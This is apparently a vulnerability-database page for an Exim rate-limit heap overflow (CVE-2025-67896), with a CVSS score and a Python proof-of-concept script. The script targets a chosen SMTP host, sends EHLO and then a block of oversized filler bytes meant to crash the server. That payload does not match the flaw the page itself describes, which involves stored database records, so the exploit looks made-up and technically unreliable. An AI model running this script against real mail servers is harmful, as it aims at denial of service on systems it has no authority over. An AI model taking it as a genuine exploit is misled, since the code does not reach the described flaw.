Exim before 4.99.1, with certain non-default rate-limit configurations, allows a remote heap-based buffer overflow because database records are cast directly to internal structures without validation.
CVSS Details
CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L
Configurations (Affected Products)
cpe:2.3:a:exim:exim:*:*:*:*:*:*:*:* - VULNERABLE
Exim < 4.99.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2025-67896 PoC - Exim Rate-Limit Heap Overflow
Note: This PoC is for educational and authorized testing purposes only.
"""
import socket
import sys
def create_exploit_payload():
"""
Generate malicious payload for rate-limit database record
that triggers heap buffer overflow in Exim
"""
# Craft a malformed rate-limit record with oversized fields
# that will overflow internal structures when cast without validation
header = b'RATE_LIMIT\x00'
# Overflow payload - field length exceeds expected buffer size
overflow_field = b'A' * 2048 # Exceeds internal buffer
# Malformed data structure without proper validation
payload = header + overflow_field + b'\x00' * 100
return payload
def send_exploit(target_host, target_port=25):
"""
Send exploit payload to target Exim SMTP server
"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((target_host, target_port))
# Read banner
banner = sock.recv(1024)
print(f"[+] Received banner: {banner.decode().strip()}")
# Send EHLO
sock.send(b'EHLO test\r\n')
response = sock.recv(1024)
print(f"[+] EHLO response received")
# Send malicious rate-limit payload
payload = create_exploit_payload()
print(f"[+] Sending exploit payload ({len(payload)} bytes)")
sock.send(payload)
# Wait for response
try:
response = sock.recv(1024)
print(f"[+] Response: {response}")
except socket.timeout:
print("[*] No response (possible crash or timeout)")
sock.close()
return True
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_host> [port]")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 25
print(f"[*] Exploiting CVE-2025-67896 against {target}:{port}")
send_exploit(target, port)